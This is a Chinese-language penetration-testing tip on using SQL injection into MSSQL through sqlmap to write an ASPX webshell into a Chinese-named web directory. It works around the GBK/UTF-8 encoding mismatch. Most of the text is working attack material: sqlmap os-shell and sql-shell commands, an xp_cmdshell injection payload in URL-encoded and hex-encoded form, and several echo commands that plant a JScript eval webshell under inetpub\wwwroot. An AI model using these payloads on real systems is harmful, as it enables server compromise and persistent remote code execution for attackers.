渗透小tip------中文目录写入文件
写不进去主要是因为编码的问题,如果大家想看可以去潇湘信安大佬的公众号去看一下。
Sqlmap中的OS-Shell参数是通过调用windows的cmd.exe执行的命令,在window中cmd和powershell默认位GBK格式,而sqlmap默认是以UTF-8提交的数据包。
-
OS-SHELL写入方式
使用burp抓包
sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --os-shell --batch --proxy http://127.0.0.1:8080
然后在OS-shell交互界面中写入,这里的尖括号需要使用^来转义,后面的写入都需要转移。
echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell2.aspx
编码前/sql.aspx?id=1%3BDECLARE%20%40clit%20VARCHAR%288000%29%3BSET%20%40clit%3D0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078%3BINSERT%20INTO%20sqlmapoutput%28data%29%20EXEC%20master..xp_cmdshell%20%40clit—
编码后
/sql.aspx?id=1;DECLARE @clit VARCHAR(8000);SET @clit=0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @clit—
数据包中已将空格和符号都转成URL编码了,可以先进行URL解码,在解码后的内容中可以看到有一串HEX(UTF-8)编码,解码后的内容就是我们执行的echo写马命令。
0x6563686f205e3c25402050616765204c616e67756167653d224a73637269707422255e3e5e3c25256576616c28526571756573742e4974656d5b2278787861736563225d2c22756e7361666522293b255e3e203e20433a5c696e65747075625c777777726f6f745ce4b8ade69687e6b58be8af955c7368656c6c322e61737078
echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell2.aspx
因为xp_cmdshell调用的cmd.exe命令终端是GBK,所以这时我们还需要将解码后的写马命令再次进行HEX(GB2312)编码,然后BurpSuite替换掉原始数据包中的HEX(UTF-8)编码后再提交即可。
6563686F205E3C25402050616765204C616E67756167653D224A73637269707422255E3E5E3C25256576616C28526571756573742E4974656D5B2278787861736563225D2C22756E7361666522293B255E3E203E20433A5C696E65747075625C777777726F6F745CD6D0CEC4B2E2CAD45C7368656C6C322E61737078
这时可以看到我们的马已经成功写入至中文路径。
-
sql-shell或者网页直接写
因为sqlmap和网页默认中文路径,都是使用UTF-8的编码方式,所以可以直接写入,,否则还是写不进去
sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --sql-shell --batch --proxy http://127.0.0.1:8080
然后在交互窗口写入
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell1.aspx'
或者直接在网页中写入
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx'--